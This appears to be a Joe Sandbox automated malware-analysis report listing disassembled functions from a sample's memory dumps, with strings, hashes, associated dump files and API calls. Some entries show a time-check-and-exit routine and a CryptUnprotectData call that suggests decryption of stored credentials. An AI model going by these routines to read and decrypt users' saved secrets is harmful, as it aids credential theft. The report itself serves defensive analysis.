String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C65DBDD
8, xrefs: 6C65DC08
, xrefs: 6C65DA88
@, xrefs: 6C65DAF6
0, xrefs: 6C65DC7F
-, xrefs: 6C65D7DD
0, xrefs: 6C65D852
9, xrefs: 6C65DE7F

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 0042BFC1 Relevance: 10.4, Strings: 7, Instructions: 1605COMMON

Download Yara Rule

Strings

3ew_, xrefs: 0042D312
,t;, xrefs: 0042C3AD
NEU}, xrefs: 0042C86D
`\m_, xrefs: 0042CD3D
G/>{, xrefs: 0042C079
igqV, xrefs: 0042C613
k {, xrefs: 0042CC35

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,t;$3ew_$G/>{$NEU}$`\m_$igqV$k {
API String ID: 0-3234697650
Opcode ID: cce81a1bef924d5d1c0a7cc6680d549f3c4d06fb39067cea45419b92877990e1
Instruction ID: f351a9f843910057dc56dbdc0561952e06cbf958ca452f19108888a4d4b2e1b2
Opcode Fuzzy Hash: cce81a1bef924d5d1c0a7cc6680d549f3c4d06fb39067cea45419b92877990e1
Instruction Fuzzy Hash: DAB2E4F3A0C2049FE304AE29EC8167AFBE5EF94720F16493DE6C5C7344EA3558458B96

Function 00443AE7 Relevance: 10.3, Strings: 7, Instructions: 1572COMMON

Download Yara Rule

Strings

>vu~, xrefs: 00444B46
T&v., xrefs: 00443D10
8{o, xrefs: 00444BD3
Pg~, xrefs: 00444C01
;qW_, xrefs: 00444D44
G+_, xrefs: 00443DBC
#]_n, xrefs: 00444A12

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Pg~$#]_n$8{o$;qW_$>vu~$G+_$T&v.
API String ID: 0-2397768160
Opcode ID: 9eb023db38f95e4b8a6f3b0c9387c6baab8bd7b1b3836d692468d8580143ba22
Instruction ID: 47d98f786b241056f94332a5058db4fffe81409c1d3bac5009cc06a0b1db86fc
Opcode Fuzzy Hash: 9eb023db38f95e4b8a6f3b0c9387c6baab8bd7b1b3836d692468d8580143ba22
Instruction Fuzzy Hash: CFB2D4F360C2009FE704AE2DEC8567ABBE9EF94720F16493DEAC4C7744EA3558418697

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9269, 6C6C5740, 6C6C5703, 6C6C9459, 6C6C921F, 6C6C56C7, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9269, 6C6C5740, 6C6C5703, 6C6C9459, 6C6C921F, 6C6C56C7, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 00437AE9 Relevance: 9.1, Strings: 6, Instructions: 1647COMMON

Download Yara Rule

Strings

`Q* , xrefs: 00438E6D
XS(, xrefs: 004386C3
hz~, xrefs: 00438976
h^U, xrefs: 00437C90
BMo, xrefs: 004380D4
ho}, xrefs: 00438A71

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: BMo$XS($`Q* $h^U$ho}$hz~
API String ID: 0-3760665314
Opcode ID: 48fea00949ec95f620c14db7b65c9a76de3ea38728aa43a2ae4f5887504a79dc
Instruction ID: 51335aa4bf10d345e671bdd3f03daf8da26ccc953807e62d37b579317c2e99ea
Opcode Fuzzy Hash: 48fea00949ec95f620c14db7b65c9a76de3ea38728aa43a2ae4f5887504a79dc
Instruction Fuzzy Hash: 64B228F36086149FE304AE2DEC8577AFBE9EF94320F1A453DEAC4C7744EA3558058686

Function 004344AD Relevance: 9.1, Strings: 6, Instructions: 1625COMMON

Download Yara Rule

Strings

Glo\, xrefs: 00434AEE
\>RQ, xrefs: 0043546D
^ox{, xrefs: 00434DF3
~cZ-, xrefs: 00435018
d3s, xrefs: 00435331
K5|, xrefs: 0043513B

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Glo\$K5|$\>RQ$^ox{$d3s$~cZ-
API String ID: 0-2860354404
Opcode ID: fe9f13bccb469bdcd9df669c3edacdfeff2af183290914dad6982f46cbdfde43
Instruction ID: 217131b4e95edd1c6518e28539819b1026119dc11ecd5da2cc03d1d1e30835a6
Opcode Fuzzy Hash: fe9f13bccb469bdcd9df669c3edacdfeff2af183290914dad6982f46cbdfde43
Instruction Fuzzy Hash: A6B205F3A082049FE304AE2DEC8577AF7E5EB94720F16493DEAC5C3744EA3598058697

Function 00440353 Relevance: 7.9, Strings: 5, Instructions: 1634COMMON

Download Yara Rule

Strings

d0om, xrefs: 00440D07
foO, xrefs: 0044078E
qw{o, xrefs: 00440F94
[@d>, xrefs: 00440EF0
X+C, xrefs: 00440B7F

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: foO$[@d>$d0om$qw{o$X+C
API String ID: 0-3510468542
Opcode ID: 899ed5ced90af912cef38fd60b3eeae5f2145ac61dec9beaecb0d74b2b72eccf
Instruction ID: a5c40377a11b1e94339b94389eeee6aacf71b775db32333d530e489680b25d15
Opcode Fuzzy Hash: 899ed5ced90af912cef38fd60b3eeae5f2145ac61dec9beaecb0d74b2b72eccf
Instruction Fuzzy Hash: F2B217F3A082049FE304AE29EC8567AFBE5EF94720F1A893DE6C4C7744E63558058797

Function 00076920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0007696C
sscanf.NTDLL ref: 00076999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 000769B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 000769C0
ExitProcess.KERNEL32 ref: 000769DA

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: ee9f7799699609953ccd6efe092c2d4084c901a82997d570b799ec3a51c99071
Instruction ID: 31620c53ce3bd2740b93c5a5cc0eaa60ab6bf35b3f5a9a04142b9ba0246ab955
Opcode Fuzzy Hash: ee9f7799699609953ccd6efe092c2d4084c901a82997d570b799ec3a51c99071
Instruction Fuzzy Hash: 1121CD75D14208AFCF44EFE4E9499EEB7B9BF48300F04852AE51AE3250EB355609CB69

Function 00067240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0006724D
RtlAllocateHeap.NTDLL(00000000), ref: 00067254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00067281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 000672A4
LocalFree.KERNEL32(?), ref: 000672AE

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

